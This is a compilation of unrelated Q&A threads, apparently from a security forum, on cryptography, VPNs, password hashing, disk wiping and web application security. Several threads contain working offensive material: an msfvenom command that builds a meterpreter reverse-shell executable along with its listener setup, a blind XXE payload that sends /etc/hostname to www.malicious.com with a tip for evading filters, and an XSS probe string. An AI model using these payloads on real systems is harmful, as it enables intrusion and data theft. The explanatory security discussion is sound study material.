Online Diffe-Hellman Tool So I stumbled upon this website which provides a service to generate Diffe-Hellman paramaters online for free to the public.

Surely using a website like this would be a bad idea to use in a production environment to generate the DH parameters instead of generating them yourself? Or does it actually make not difference where it comes from?

How DH parameters are generated
There are two types of generators for DH parameters. Each generator has two steps: a step that requires random input, and a deterministic step. The two steps are the same between the two types of generators:

Your system supplies entropy to the generator, which uses it to generate candidate primes.
A deterministic algorithm goes and discards any prime that has unsafe properties.

This second step is designed to avoid generating moduli which have accidentally unsafe mathematical properties. This step is not designed to detect intentionally malicious candidates, only accidental ones that will naturally pop up. The result of these computationally difficult steps is a list of moduli suitable for use in DH key exchange and which do not have accidental weaknesses.
Malicious parameters
It is possible to create backdoored Diffie-Hellman parameters which are still validated as safe. For example, certain primes compatible with SNFV or primes vulnerable to the small-subgroup attack. There are far more issues. This means that trusting a service which provides these parameters can be risky, since you have no way to know if the moduli have actually used a random number generator to select the primes or not, as you do not have access to the seed they are using. The deterministic validation step is designed only to catch the accidental unsafe primes that come about due to the large number of candidates that are created. It is not meant to be hard to "trick".
Nothing-up-my-sleeve numbers
A nothing-up-my-sleeve number is a value with suitable mathematical properties which is well-known, alleviating the question "why did you choose those constants?". Some examples used in cryptography are π, e, or even the Declaration of Independence. This would allow anyone to validate both that the primes are safe and that they were generated in a completely deterministic and reproducible process. If they were do this, it would be significantly more difficult for them to generate malicious moduli. For example, all moduli from RFC 3526 use π as a nothing-up-my-sleeve number, so all primes are in the form of:

Where n is the number of bits in the modulus and c is the smallest positive integer that makes p a safe prime. This makes it apparent that there are no unexplained values used in generating any of these standard moduli.
This is not a panacea. For an algorithm where a significant number of randomly chosen constants lead to weakness, the number of adjustable elements in the selection procedure may make it such that apparently simple constants are vast enough that one which inserts a backdoor can be searched for. Luckily, it seems that DH is picky enough about its primes that this becomes a bit harder. Still, it's better to simply use π than it is to use the binary representation of a well-known document, or a more obscure but still irrational number, or something personal like your family's dates of birth. π provides uniform random distribution and is irrational, so it is suitable for all constants which do not need to be in a specific range and do not need to be secret.
Unpredictable public randomness
If the fact that this deterministic generation would allow an adversary to be able to precompute future moduli for themselves (and thus predict future output) is problematic, then a distributed shared randomness protocol that ensures future output will not be predictable would be desired. This has been done by Tor Project, under the name Shared Randomness Protocol. Values cannot be predicted in advance, but can be verified as having been published in the past. The Tor protocol releases a new value every day at 00:00 UTC in its consensus document. These values can be used for generating new DH moduli, for example by feeding it into a DRNG.

A diagram showing a comparison between the properties provided by their method, safe numbers (nothing-up-my-sleeve numbers), and shared randomness (like Tor's protocol) is shown here:
+---------------+-------------+--------------+-------------+----------------+
|               | Value known | Reproducible | Predictable | Trust required |
+---------------+-------------+--------------+-------------+----------------+
| Their method  | no          | no           | no          | yes            |
| Safe numbers  | yes         | yes          | yes         | no             |
| Shared random | yes         | with value   | no          | low            |
+---------------+-------------+--------------+-------------+----------------+

The candidate prime generation process can be described in this way:

Seed a deterministic random number generator (DRNG) with a value, k.
Extract an n bit integer, p, from the DRNG, where n is the desired modulus size.
If p is not an odd integer, increment or decrement it by one.
If p is not a prime or (p-1)/2 is not a prime, jump to step 2.
Consider p a candidate. If sufficient candidates have not been found, jump to step 2.

The first method selects k from an internal entropy source, such as the Linux kernel's entropy pool. The second method selects k from a nothing-up-my-sleeve number, such as π. The third method selects k from an unpredictable public random value, such as Tor's current shared random value. It's up to you to determine which of these provide properties which satisfy your threat model. You may just be better off generating your own parameters locally, as that does not hide the initial seed for you, is reproducible with the seed, is unpredictable, and requires no trust.


Fishy: VMware sends traffic through akamai I'm running Linux inside of VMware on the Mac, and on the Linux guest, I'm running a program that has connections open to perhaps 4 different machines.

On the OS/X host, however, VMware has only 1 active network connection: To a184-85-99-51.deploy.static.akamaitechnologies.com. And what is also strange is that in my firewall settings I told it to block outgoing connections to that server, but these are being ignored. I also added a line in /etc/hosts to direct requests back to localhost, which is being ignored.

Could it be that VMware is recording all network traffic into & out of the VM using the Akamai server?

It would entirely depend on your setup. For instance if you are using a bridged connection then your firewall will be ignored

For the other part, without a tcp dump of the connection, we can't answer this question. Akamai is a content delivery network, they are often used to offload static content to anothe server as to increase performance.


Is personal information secure if two VPNs are used? I’m using a free VPN service called Speedify (used in load balancing two networks).
I’m worried it they might be listening to personal data transfers (like login IDs etc.). So I installed another VPN called Hoxx. Now it’s not that I trust Hoxx completely but I think that VPN chaining will prevent either of the providers from latching on to personal data.

Am I right in guessing that this VPN linking is secure?

No matter how many VPN/proxy you use together there is always one which communicates directly with your browser and one which communicates directly with the target server. In both cases any unencrypted data can be extracted by the VPN, i.e. username and passwords in case of plain HTTP (instead HTTPS) connections, target hostname even with HTTPS connections etc.


openSSL Not Displaying all attributes Here's a background of what I've done so far:

I've been able to add a CRL to a self signed certificate using OpenSSL (see attached). But I'm not sure how to create an X.509 certificate issued by this self-signed root (i.e. a leaf certificates from this CA)
I've tried to create a leaf certificate from this CA using openssl req -new -nodes -out leafcert.pem -keyout private/leaf-key.pem -days 365, but I haven't been able to determine if the CRL is in this certificate... I've used the openSSL command:

openssl req -text -noout -verify -in leafcert.pem

But all I can see is the following:

verify OK
Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: C=US, ST=DC, L=Washington, O=Norkie, OU=Test, CN=Leaf/emailAddress=first.last@domain.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:c0:32:a0:f5:7e:59:86:9e:97:0c:a0:4b:65:38:
                    58:af:aa:44:86:8c:8f:2a:0a:89:e0:40:ee:8d:8e:
                    68:7d:e2:52:46:e8:19:e2:52:58:1f:a6:6c:d0:1d:
                    55:47:79:e2:f4:ff:b8:ff:7d:3e:80:cf:24:74:4d:
                    85:48:28:74:f4:71:13:2a:4d:cb:53:7f:b1:bb:d9:
                    fa:5e:8e:41:2b:ea:f8:ba:38:84:15:58:78:d9:44:
                    45:aa:af:54:55:71:f7:2b:74:1b:d5:18:e0:ad:af:
                    c8:fa:d8:3a:9e:1b:47:3a:a5:16:a1:1c:ff:bb:77:
                    da:df:49:2c:fc:ac:2c:64:c5
                Exponent: 65537 (0x10001)
        Attributes:
            challengePassword        :akronohio
    Signature Algorithm: sha1WithRSAEncryption
        9e:b8:d0:af:02:ee:0e:85:a4:f7:85:ff:6d:0a:94:41:d9:c9:
        f6:ba:ff:d4:91:84:45:6d:8e:52:fe:f9:30:bf:12:59:86:7c:
        ce:90:04:a1:3b:6f:71:99:16:ed:27:da:a6:f0:8f:f3:b6:f3:
        bd:0f:c1:68:35:3d:f0:22:60:b3:71:69:bb:71:6d:63:31:d9:
        05:0e:50:e2:53:d9:a3:af:08:b9:ae:50:03:f4:37:cd:a3:08:
        6c:3d:88:97:cf:34:47:2c:b8:2b:fa:82:ba:66:fb:b1:cc:82:
        38:bb:16:6b:50:d9:da:03:44:a7:b5:e5:a3:47:e5:a6:6b:8f:
        f3:69

It doesn't tell me who the leaf is issued by and if it has any crlDistributionPoints.

The content of the request barely matters. It's the content of the resulting certificate that counts.

No self-respecting CA (and hopefully none of those that are bundled by default with our browsers) should copy attributes in the CSR into the certificate without vetting them by another way. Therefore, there is little point in putting attributes in the CSR itself for CAs, since they really should decide what goes in by another means. (I've actually tried once to add extra extensions to a CSR and the commercial CA I used stripped them away and only put in what they said they would in accordance to the application form, quite rightly. Most of the time, they'll also remove the RDNs in your Subject DN for which they cannot vouch for, e.g. O= for a Domain Validated certificate.)

If you really want extensions in your request, turn in on in your openssl.cnf file (you may also have to use the -reqexts option with the openssl req command):

req_extensions = v3_req

(and fill in the corresponding [v3_req] section).

To issue End-Entity Certificates with the CRL distribution attributes, you need to add this to the openssl.cnf file.

(I'm assuming you have a copy of openssl.cnf in your current directory)

You'll be able to get your crlDistributionPoint extension as follows:

Add this line to the [ v3_custom ] section:

crlDistributionPoints = URI:http://example.com/my.crl

Make the issuing process use these extensions:

openssl x509 -req -days 365 -in file.csr \
             -signkey ca.key -out file.crt \
             -extfile openssl.cnf -extensions v3_custom


Time Memory Trade-Off Attacks Given, we want to crack a password.
With Time Memory Trade-Off Attacks one tries to find the right balance between time to compute hashes for all possible passwords. And the used memory to store all password hash tuples, where a lookup would be instantaneous.

(I know about some additional security mechanisms like salting, peppering, two factor authentication, ...)

But what I don't understand, that trade-off happens at attack-time. But usually one hears time for cracking good passwords in between human lifetimes, centuries or even the lifetime of the sun.

So the generation of such tables is still only feasible for short passwords, right?

For example I used zxcvbn and got the following results for a 9 character long password.

password:   evhtsxuko
entropy:    42.304
crack time (seconds):   271475183.949
crack time (display):   10 years

So with bcrypt being a slow hash function and is around for about 15 years, is it safe to assume that even for the NSA a 10 character password hashed with bcrypt is impossible to crack?

"Time-Memory Trade-Off" is the generic terminology for an algorithm which improves (shorten) running time by using more space (memory); or, similarly, that improves memory usage (i.e using less RAM or disk, or using it "better", e.g. with sequential access instead of random access) at the expense of more computing time.

In the case of password hashing, the main TMTO algorithm is due to Hellman back in 1980; a number of local improvements were later discovered, resulting in what is colloquially known as rainbow tables. We can get a conceptual view of rainbow tables by considering the two endpoints of the spectrum:

Exhaustive search is about trying all potential passwords, hashing them all and comparing the value with the one that is to be cracked. This has the highest computational cost (average N/2 hashes to compute for N potential passwords with uniform probability) but uses only negligible RAM.
A precomputed table contains the hashes of N potential passwords, and a single lookup needs to be done. We don't count the effort of building the table because it can presumably be reused for multiple attacks, possibly by multiple attackers. The size of the table is proportional to N, but the computational effort is negligible (well, about O(log N), which is small).

Rainbow tables will fit in between. When the table is built, you choose a parameter t called the "average chain length". The table size will be proportional to N/t: it is reduced by a factor of t, compared to the precomputed table. On the other hand, each attack will imply a computational effort proportional to t2 hash computations, and t lookups. Depending on the operational conditions, the lookups or the computations will be the bottleneck (e.g. it depends a lot on whether the table are in RAM, on a SSD, or on a set of mechanical hard disks).

Salts completely thwart precomputed tables, including rainbow tables. Building a precomputed table for N passwords has cost N; building a rainbow table for the same N passwords has even higher cost (about 1.7*N). This is worth the effort only if the table can be used at least twice, to attack two distinct hash values; a one-shot table (rainbow or not) is not competitive with exhaustive search. But the point of salts is that there is not one function; in fact, there is a big family of functions, and the salt value tells you which one is actually used. A table built for a specific salt has absolutely no value in breaking a hash value for any other salt.

Bcrypt uses salts, so no tables, and no TMTO. Attackers are back to exhaustive search. Bcrypt also has weapons against exhaustive searches, namely a configurable slowness, obtained through a huge number of internal iterations: from the user point of view, there is not much a difference between a hash computation which takes 1 microsecond, and one which takes 100 milliseconds; but for the attacker, the latter means 100000 times the effort for his exhaustive search.

See this answer for more on secure password hashing. Short summary: if your password is strong (i.e. has high entropy), then even powerful agencies won't be able to obtain it by breaking the bcrypt hash upfront (they'll get it by breaking your kneecaps, but that's another story).


Is it a security threat to have food or drink next to computers I have never worked in big organization and I wonder if any of them considers food or drinks a security threat. More than one movie showed the scenario of an operator who accidentally spills tea on the control panel and cause the train to get out of control or some missiles to get launched.

I think you've been watching too many movies.

Food and drink are not security threats. That being said, it's not really appropriate to be leaving cups of coffee or bottles of water on top of critical systems, for obvious reasons.


specific metasploit question about handler Can the handler exploit/multi/handler handle a connection from another type of payload ?

payload generation:

msfvenom LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -p windows/meterpreter_reverse_https -o payload.exe

Listener:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST "IP"
set LPORT "PORT"
exploit

when the target launch the "payload.exe", a session will open in the attacker console ?

Your handler has been set with a specific payload (since it requires knowledge of a few details before it can correctly run the payload), so connections from different payloads will eventually be dropped.

It will however accept multiple connections with the same payload (as mentioned in the comments).


Avoiding direct object references Say I wanted to avoid exposing a database primary key in a URL; somehow I must encrypt the key, so that the url only exposes elements of an unenumerable cipherspace. What kind of encryption should I use?

N.B. I'm aware that this is not the whole of a secure process. I would of course have to validate attempted access to such a URL. I'm asking about how I might use encryption to add a layer of obfuscation that prevents object enumeration.

Direct Object Reference is a really bad name for:  lack of authorization controls.   Knowing the ID isn't really the problem.  The problem is that each record in the database needs to have ownership information,  and you should enforce this ownership by keeping information about the user in a session.

The best cryptographers know when crypto isn't needed,  and a stronger system can be used in its place.


Wipe free space with zeros, how secure? Possible Duplicate:
  How can I reliably erase all information on a hard drive?

If I wipe free space with zeros instead of random data to finish fast will that write old file to be unrecoverable, will use this command on ubuntu on ntfs and ext4 volumes.

  cat /dev/zero > Wiped

Will that be secure or I must Use /dev/urandom

The only way to really guarantee that data cannot be recovered is
(a) use full-disk encryption, so all sensitive data is already encrypted before it hits the media, and then
(b) destroy the encryption key when you no longer want the data on that media.

spinning disks

Yes, a single zero-fill, on a spinning disk, is adequate.

Civilian data recovery companies cannot recover data off spinning disks after a single zero-fill.
There is no evidence that anyone else can, either.
In spite of the popular urban legends you might have heard.
a b c d e

solid-state media

A zero-fill is probably inadequate on solid-state media, but using random-data-fill or multiple passes or both, aren't any better.

Solid-state "disks" typically have extra space used for wear-leveling that cannot be read or written to with normal tools.
Sensitive data that ends up in this extra space is not guaranteed to be erased,
no matter what data patterns you write and no matter how many passes you make.

See Is it enough to only wipe a flash drive once? .


Erasing hard drives (HDD & SSD) for donation I'm planning to donate a laptop to a school, for kids to use from home during the pandemic.
It's my previous work/development laptop, so I want to erase the drives as securely as possible
(within reason, I'm not exactly expecting a state sponsored attack.).
But keep them in good working order.
There's both an HDD and SSD drive, from what I gather these require different approaches.
What would be the recommended steps to wipe the drives?
Going for a security level to counter "A knowledgeable person with some freely available software".
And if it's not offtopic for this site, are there any recommendations for free or low cost tools?

[SSD]: It's easier to perform a secure erase, using the companies software. Seagate SeaTools, Western Digital SSD Dashboard, Samsung Magician, Intel SSD Toolbox are the most common. In all of these softwares (free) there is a "secure erase" option. SOS: Formatting does not erase your data not even in the SSD.
[HDD]: Also for the HDD i'd suggest you to use a third-party software. Not even for a professional is worth to do it by himself. DBAN is the most known tool, completely free. Check that tutorial: https://www.youtube.com/watch?v=sHB2gDFBvCU


XXE with OOB data exfiltration SCENARIO:
I successfully tried to send a request to the burp collaborator, then the application is vulnerable to SSRF through blind XXE. The payload I used is the following
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [  <!ENTITY xxe SYSTEM "http://{burp_url}.burpcollaborator.net"> ]>
<xxx>&xxe;</xxx>

If I use XML entities (% xxe) like this
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE % xxe [  <!ENTITY xxe SYSTEM "http://{burp_url}.burpcollaborator.net"> ]>
<xxx>%xxe;</xxx>

the payload doesn't work. So I suppose XML parameter entities or the % sign are filtered.
GOAL:
As the next step I want to exfiltrate /etc/hostname from the web application. The  payload I found is the following:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/hostname" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

....which uses XML parameter entities (%). How can I modify the payload to avoid the use of %. Is removing the % enough to have a syntactically correct payload?

A lot depends on the application's XML parser. However try encoding % by using &#37;


Is this file sharing approach safe? I am currently developing a piece of software where files need to be uploaded and then shared with other people that are not on the platform itself.

Here is my approach on encryption:

A user has a master password, of which only the hash is stored (used
for login)
When a file is uploaded by the user, a random password will be
generated and the file will be encrypted with it (all client-side)
The password will be encrypted with the master password, and then
stored alongside the file

When a file is shared with an outside user, the following steps are taken:

The logged in user shares the file. The file key is retrieved and
decrypted with the users password on the client side
The user may now share the password and the file, or use a link to
the file with the password in the location hash. The file will always
be decrypted on the client side

Is this approach safe? Also, are there any better options?

Is the approach safe?

No - not if I understand your threat model.

Depends on your threat model. If you never ever want the server (or db or db-backup) operators to be able to decrypt the files, never ever give the server the file encryption key.

In your model the clearest threat is I can brute force guess the password of the registered user. Once I do that, I can decrypt the file encryption key, and the file itself.

update

Thinking about the password a bit more and more threats to this approach:

in general, a user derived password is not safe. One way to think about this is eventually the pw will be compromised. Maybe phishing, keylogger, finding it written under a keyboard, or brute forced. So say I get a copy of the database, now I simply wait for the pw over time (or actively try to hunt for it). Once I have it, I decrypt everything the user’s uploaded that’s in my copy.

We built this differently. (to prevent that threat)

We based our build off send.firefox.com.

When a file is uploaded, it is encrypted client side, and stored on the server. The encryption key is stored on the generated URL and not sent to the server.

The url is sent to the recipient, and the url can only be used once, and expires in 24 hours.

We added to this - after you upload a file, we return a system generated passphrase (two common 5th-grade-level english words).

To download the file, you need the secure link, and to know the passphrase.

The beauty is there isn't any user registration required.


Chat encryption system avoiding protocol sniffing and then key+decryption replay? I'm working on a chat system and I want to add it some kind of security (not just HTTPS with SSL since I've read it can be sniffed and decrypted with a few tools). Now, my knowledge in cryptography is scarse, but I'm willing to learn, providing what I'm asking is possible to do:

Taking in account there's an eavesdropper (client C) bypassing HTTPS in the beginning of all connections (say a MITM, proxy, firewall, etc), and that I have my own concepts, this is the procedure I have in mind:

Send:

The client A connects to a web interface which contains inside the response code (javascript) a public key (say, a123456789b) randomly generated on intervals (key re-negotiation can happen later).
The user's password is hashed locally and that hash is sent to verify it is the same in the server. If it is, continue (say, DEADBEEF).
So now I have a public key (a123456789b) and a private key (DEADBEEF). I can use both to encrypt a message and send it.

Receive:

The client B connects to the server and gets the same public key (a123456789b) and gets another hash (since his password is different, say, FACEFEED).
The client B receives a message from client A, and...

Here's my show-stopper: Whatever B receives, C can see it AND replay it since it has the public key and the hash (and by replaying I mean replaying the data instead of submitting the requests to my server again (which would invalidate them, obviously)).

As I see it, it doesn't matter if the message can be decrypted with either DEADBEEF (if it is sent along with the encrypted message) or with FACEFEED, since C is watching the whole protocol and can decrypt what B receives (but not what it sends?)

I'm stumped here. I know that C can hack the client code injecting its own public key or functions, but it will only receive and send garbage to the other side. If that's so, I'm happy with that because then I can show a warning and whatnot. What worries me is how do I avoid C to replay the packets and then decrypt the messages, since to decrypt it I need the public key and either FACEFEED or DEADBEEF, and those 3 are sent over the same channel?

Any help is welcome! please remember I don't know much of cryptography, I've been wandering through a lot of wikipedia links, (DH key exchange, PFS, MTProto, etc) but only understood around 50% of them all and this is what I came up with but now I need some help.

not just HTTPS with SSL since I've read it can be sniffed and
  decrypted with a few tools

This is not true.

In general (and in the case of SSL/TLS) replay attacks are prevented using a "number only used once" (ie. nonce). If the other party receives the nonce twice then it's obviously a replay attack.

With regard to the blog post you linked:

  To do so, it dynamically generates a certificate and signs it with a
  the private key of a CA certificate that the client must trust.

For this to be successful an attacker must have physically gained access to the machine and installed a new trusted CA certificate (or else compromised the private key of one already trusted which would most likely be a global security issue). That attack would not work if you were simply a man-in-the-middle (without also having a CA certificate to sign forged certificates with).


Is my custom password hashing algorithm insecure? For all of my hobby web projects, I have coded a login system that these projects share. There is no critical data in these projects, the only critical data could be reused passwords. So I try to hash passwords in a very secure way.

My current password hashing algorithm is nothing I would call really secure. And as I saw that PHP now offers build in hashing with password_hash, I thought about switching.

My question is, what are the benefits of switching for me? In terms of, what extra protection do I get, what hole(s) do I fix, etc.? And is there anything else I have to do to not make it extremely insecure?

I would like to use the answers as a learning experience for myself so I can teach it to others who are in my position.

My current algorithm (pseudo-code):

Salt = "some-salt"
Repeat 1000000 times
    Password = Sha512(Salt + username + Salt + Password)

I know my site is vulnerable to timing attacks and the PHP built-in functions would fix that.

What else is obviously insecure?

For starters you rolled your own piece of password hashing algorithm. There are currently but three password hashing algorithms which are considered secure:

PBKDF2
scrypt
bcrypt

You are iterating and you are appending a salt. You also seem to add the username within the algorithm, which does not add any benefit as you are already using a salt.

What I can't deduct from your code and which is very important is the length of your salt and how you generate it. A salt should never be hardcoded, but secure randomly generated when hashing the password. The salt should be unique within the database and preferably globally unique as to avoid identification of similar passwords in different databases (hence a username is not considered a good salt).

Also the way PBKDF2 works (which leans closest to your implementation) is by using a HMAC where the random generated salt is the key used to calculate the message digest, rather than appending everything together. PHP's password_hash is using the bcrypt algorithm.

So to summarize what you gain by using a standard algorithm instead of your own:

You will generate random salts
You will use a standardized and secure password hashing algorithm


lock for asp.net developer using vs 2010 and win xp? I am hiring few extra trainees who will use their personal laptop at my office to work on .net projects. I want to restrict the code/file access in their laptops with password. Like when they get in office ...they will ask me to type password to start work and when they leave office with their laptop ..i will ensure they "log off" so that cant access the code at their homes.

Typically in a high security environment removable media,  laptops and even cell phones are prohibited.  Employees are expected to work on their workstations provided by the company in the office and no where else.   This is not a problem software can solve,  it is a problem addressed with company policy.

If someone is bringing their own laptop there is virtually nothing you can do to keep them from making a copy of the code to a CD, DropBox account, or a million other methods of obtaining this information.

But there is a deeper problem.  If you are able to prevent your employees of making a digital copy,  they can still look at the code.  Every day that they work they will understand it better and they could just implement it on their own.  Its an issue of trust,  and you have to trust your employees to some extent.


Paypal Vault - Is it really secure? If the information used to retrieve a card from the Paypal Vault, i.e. "credit_card_id" is stored in a database entry on our server, if a hacker is able to gain access to the server, does it really matter if the card information is stored on our server, or in the Paypal Vault? The information could be retrieved, or at the very least, used with malicious intent?

Hypothetical question, of course.

I believe the PayPal Vault just stores the card token. So if an attacker were to grab that token and some other sensitive information from your server, the worst he would be able to do is charge the person's account to your PayPal account, approve refunds, etc. The customer's actual details will stay private as they are not transported from the vault.

The way I see this working is in this wise:

Customer ---card number---> Your server ---card number---> PayPal Vault

Once in the vault PayPal generates an ID for the card and sends that back to you:

PayPal ---card id---> Your server ---card id---> Database

So later, when you want to use it again:

Database ---card id---> Your server ---card id---> PayPal Vault

PayPal then matches the ID to the card number stored in the vault and charges the card.


WSO 2.5 Found on Apache I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire server. I am using Joomla 1.5 on the server which has a lot of vulnerabilities.

The code for this WSO thing that I decoded can be seen here

Besides migrating to a newer version of Joomla, I would like to make sure that all directories are clean of any malicious files. I run chkrootkit and it says that everything is fine. Also, what would the correct permissions need to be on the /var/www directory. After reading quite a few posts, I have them now as 755 (except a temp that needed 777) and the owner is the main user with group owner www-data that the main user is a part of.

Any help/insight is much appreciated. The server is running ubuntu 10.04 and is completely patched. Thanks

first of all: please disallow any network-connections in/out via iptables, except ssh. chance is given your server is part of a botnet already.

running an outdated $whatever is bad, as you experienced, see  [1], [2]

for your second part: you dont know if files are modified and malicious stuff included, or any hidden file dropped into your docroot. finding such stuff needs some experience though. you shoudl also check /tmp for hidden directories or
your network-config.

what you can do: grab clean joomla-sources and do a setup with your database; but check your database for stuff that does not belong there.

you can check your website with sucuri
or your server-ip with robtex to see, if your site is already known as bad; google-safebrowsing might give another hint.
and google has a page to help/inform people like you: here

you should also check your logs for that ip that accessed that wp-conf.php.


Why is symmetric encryption still used? In symmetric encryption, the key responsibility is for the two parties involved (sender and receiver). Hence, it can be more vulnerable, and can cause accountability issue in cases ofthe key is compromise. If symmetric encryption is too risky, then why are other those algorithm so successful and even used today?

There is symmetric encryption where encryption and decryption use the same key (e.g. AES, 3DES), and asymmetric encryption where encryption and decryption use distinct keys, and the encryption key can be made public without disclosing the decryption key (e.g. RSA).

We use both kinds of algorithms because neither can do all that the other can do. Symmetric encryption cannot offer the "public key" thing. Asymmetric encryption implies heavy performance issues, in particular data size expansion (and there is also a matter of CPU usage, though it is in fact secondary). If we restricted ourselves to just symmetric encryption, or just asymmetric encryption, then we would lose on functionalities. We really need both.

Hybrid encryption is the commonly used terminology to designate an assembly of a symmetric encryption algorithm and an asymmetric encryption algorithm (or key exchange algorithm).


Acceptably secure solution for users to log in with a short unique code only (no username) I am creating a website whereby users are given an account by invitation only, and are sent a unique code by post. Users can then log in (at least the first time) by entering the code only.

The goal of this is for it to be extremely easy to understand and use by non tech-savvy people.

User accounts will contain name, email, maybe address if the user wants to add it. No other sensitive information.
The site itself would not be of interest to anyone other than those invited, and will not be indexed by search engines.

If you imagine the users are receiving a piece of mail in the post which says something along the lines of:

 Please visit www.example.com
 Log in with your unique code:

            A6XH3

As for the code, it must be extremely easy to remember and enter.

I was planning four or five upper case alphanumeric characters - e.g. A6XH3 - because I don't want anyone to have to enter a long hash or complicated string. I think 6 characters is the limit that I would deem acceptable for people to enter in this format.
An alternative idea I had was to use two/three easy to spell words, such as [adjective] [noun] which would be more fun and seem less "techy" to the users - e.g. pretty blue flower - which would be more in keeping with the spirit of the site.

Caveat

Website administrators must be able to see all the users' codes in plain text, so they can mail them out in the first place and/or offer support to anyone unable to log in. They may also need to generate a new code for some reason, and tell the person directly.

Questions

Is this secure enough for the context? i.e. The only people who know about the site are those invited, and there is no real motive for anyone else to try to force their way in.
Would you use either of my methods of unique code generation, and if not what would you suggest as a better solution?
Is there another way I could allow a simple login without compromising security or simplicity of use without a username?

Note: I am using PHP/MySQL if it is relevant.

Ultimately, you are the one who will have to make the decision as to what system is secure enough for the context, because that will be based on your threat model, but we can certainly provide some information to help you make that decision.

So, a few points:

The generation method should be a given.  From the set of inputs at your disposal, (be they alpha-numeric characters, a list of words, or any other set of  components a random subset of which will ultimately be the code) each element should be selected using a cryptographically secure psuedo-random number generator. So, that solves the problem of how to generate the codes, and leaves only the problem of what should the codes consist of.
For randomly selected elements, the entropy, which determines the relative level of security is based on how many potential elements you're choosing from, and how many of these outputs you string together.  So, for a 6 character code, using all 26 uppercase letters and 10 digits will give you just over 2 billion possible codes, (36^6, or 36*36*36*36*36*36) for ~31 bits of entropy. (36^6 is roughly equal to 2^31) Now, if we were taking about protecting password hashes against offline brute force attacks, this would not be nearly enough to be secure.   In your case however, if it is as it sounds, and they're not really protecting anything but serving more to identify users on first access, then coupled with reasonable additional security measures such as rate limiting access attempts and securing the database and database access properly, it may be perfectly adequate.
If you were, however, to use the Diceware list of 7,776 words, and choose three random words from the list, the number of potential codes would skyrocket to over 480 billion, (7776^3 or 7776*7776*7776) giving you over 38 bits of entropy. (7776^3 is between 2^38 and 2^39) Still not great for a user's password, but quite probably good enough for a default code.  Besides, AOL used to use this system for default passwords for years, and it seemed to work well enough for them.  (And they only used two words!)
If you want to use your [adjective] [noun] construction, then you'll have to figure out how secure it will be based on the word list you use.  For two words, you would multiply the number of words in the list of adjectives by the number of words in the list of nouns to come up with the number of potential random codes.  A bigger number means more security.  So, if you have 2000 adjectives, and 4000 nouns, your security level would be 2000*4000.  If you added a second adjective, 2000*2000*4000.

So, now that you know how to gauge the relative strength of codes generated using different types of input components, you can make a more informed decision as to which will give you the margin of safety you need, and then there are a few other things to think about for the system as a whole.

As mentioned earlier, rate limit code use attempts.  For a niche system with a small userbase, there's no reason you should need to allow the system to process hundreds or thousands of code access attempts per second.  The only thing that would cause those volumes of traffic would be an online brute force attack.
Protect your database.  If you have SQL injection vulnerabilities in your website, it doesn't matter how good your codes are...The attacker will just dump them from the database and use them at his leisure.
Discard used codes.  Since they're only used for initial access to the system, presumably the users can chose a password of their own at that point, and the code becomes redundant.  They should not be left in the system in a state where they can be reused after that point to access the user's account.

From what you've said, it sounds like the level of risk here is relatively low, so I don't know that I would be too concerned, whatever you choose.  Hopefully the guidance above will help you to be more comfortable with your decision, and better able to justify that the decision you end up making is indeed adequately secure for the system in question.


Risks of building an API without authentication? I'm planning to build an API for my project, and thinking about authentication. What is the risk of not having any authentication?

Could someone 'crawl' all of my post/get routes? And how would they know what data/arguments they need to send in order to make bad use of any of the API functions?

For example, some of my API functions would be: retrieving user accounts details, making service reservations, retrieving those reservations details, etc.

"Good security practice" is to follow Kerckhoffs' Principle:

  One ought to design systems under the assumption that the enemy will immediately gain full familiarity with them.

Not following Kerckhoffs' principle means you're doing security through obscurity. A quick google will show you what the community thinks of that.

Your question:

  And how would they know what data/arguments they need to send in order to make bad use of any of the API functions?

Maybe through a brute-force crawler. Maybe they somehow get access to your WSDL or Swagger files containing the full description of the API. Maybe they get access to your client app or SDK and reverse-engineer the API. Maybe they sniff traffic and observe people using your API. Maybe other methods.

It's clearly up to you whether adding auth is within the scope of your project, but having APIs that serve or accept sensitive data with no auth is very much bad practice. Better yet is to have access control on top of auth to control who can view / set which data.


is there an upper limit on time to brute-force a password, based on acceptable login delay and hardware speed ratios? Suppose a user uses a password to log in to their PC.  When the user logs in, the PC applies a cryptographic function to the password and compares the ciphertext to the stored ciphertext of the known password (this cryptographic function can be "hard," in order to make brute-force attacks difficult).  An attacker has gained physical access to the machine, including the stored password ciphertext -- so of course they have access to all unencrypted files on their machine, but the attacker wants to get the password as well (perhaps knowing the user's password will help them guess the user's password on other services, among other things).

It seems like there is a theorem that gives an upper limit on how long the attacker can be delayed in brute-forcing the user's password.  If N is the number of passwords in the complexity space that a real user is likely to choose from, and t is the maximum time that a user is willing to wait for the cryptographic function to hash their login password, and R is the ratio of the speed of the attacker's hardware to the speed of the user's hardware, then the maximum time for the attacker to brute-force the user's password is N*t/R.

For example, if there are 10 million passwords with the complexity of the password that the user is likely to choose from, and the user is willing to wait 3 seconds to log in after typing their password, and the attacker's hardware is 100 times faster than the user's hardware, then the maximum time for the attacker to brute-force the password is 10,000,000*(3 seconds)/100 = about 3.5 days.

Unfortunately, this seems to be an upper limit that is independent of what hardware or what cryptographic function you're using.  There's always going to be a limit on how complex people will make their own passwords, there's going to be a limit on how long of a delay people will tolerate when logging in, and a well-funded attacker will always be able to get hardware many times faster than what an average user is using (if only by buying 100 laptops identical to the user's laptop).

So, a couple of things:

Is the logic here sound?
Is this a known theorem that somebody else pointed out a long time ago and already has a name?
What are some things that can be done to mitigate this?

Your logic is sound, and is the basis for algorithms like PBKDF2. These increase the cost of a brute force attack to the point where it becomes infeasible for all but the smallest of dictionary attacks.


Isn't a HIDS, NIDS and WAF complementary? Assume this scenario:

Someone trying to hack a website. Simply put: www.site.com/example.php?=<script>alert(1)</script>

A HIDS would see this attempt in Apache's access log, a NIDS would see this attempt in packet's HTTP section and the WAF in the URL.

